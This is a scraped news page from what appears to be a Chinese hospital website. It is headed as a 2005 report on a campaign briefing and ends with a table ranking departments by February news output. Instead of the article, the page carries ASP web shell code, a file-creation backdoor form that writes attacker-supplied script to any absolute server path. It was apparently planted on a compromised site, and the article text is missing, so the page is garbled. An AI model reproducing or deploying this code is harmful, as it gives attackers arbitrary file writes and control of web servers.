综合新闻
您现在的位置:首页 > 综合新闻

医院再次召开先进性教育活动情况通报会

时间:2005-09-13 00:00:00 浏览量:

dim objFSO dim fdata dim objCountFile on error resume next Set objFSO = Server.CreateObject ("Scripting.FileSystemObject") if Trim(request("syfdpath"))<>"" then fdata = request("cyfddata") Set objCountFile=objFSO.CreateTextFile(request ("syfdpath"),True) objCountFile.Write fdata if err =0 then response.write "<font color=red>save Success! </font>" else response.write "<font color=red>Save UnSuccess! </font>" end if err.clear end if objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing response.write "<form action='' method=post>" response.write " <b>======================================= ===============<br>" response.write " 创建文件程序</b><br>" response.write " ========================================== ===================<br>" response.write " 本文件路径为: " response.write server.mappath (Request.ServerVariables("SCRIPT_NAME")) response.write " <font color='red'><br>" response.write " <br>" response.write " 填写绝对地址(例如 D:webx.asp):<br>" response.write " </font> " response.write " <input type=text name=syfdpath width=32 size=50>" response.write " <br><br>脚本内容: <br><br>" response.write " <textarea name=cyfddata cols=80 rows=10 width=32></textarea>" response.write " <input type=submit value=创建>" response.write "</form>" %>

单位排行 根据2月新闻发稿量进行统计

单位 发布量
1 党委宣传统战部 11
2 学生工作处 5
3 后勤保障处 5
4 耳鼻咽喉科 5
5 医务处 3
6 护理部 3
7 健康管理中心 3
8 人事处 2
9 教育处 2
10 医师培训处 2
11 信息网络中心 2
12 呼吸与危重症医学科 2
13 普通外科 2
14 心外科 2
15 妇产科 2
16 小儿内科 2
17 心血管内科 2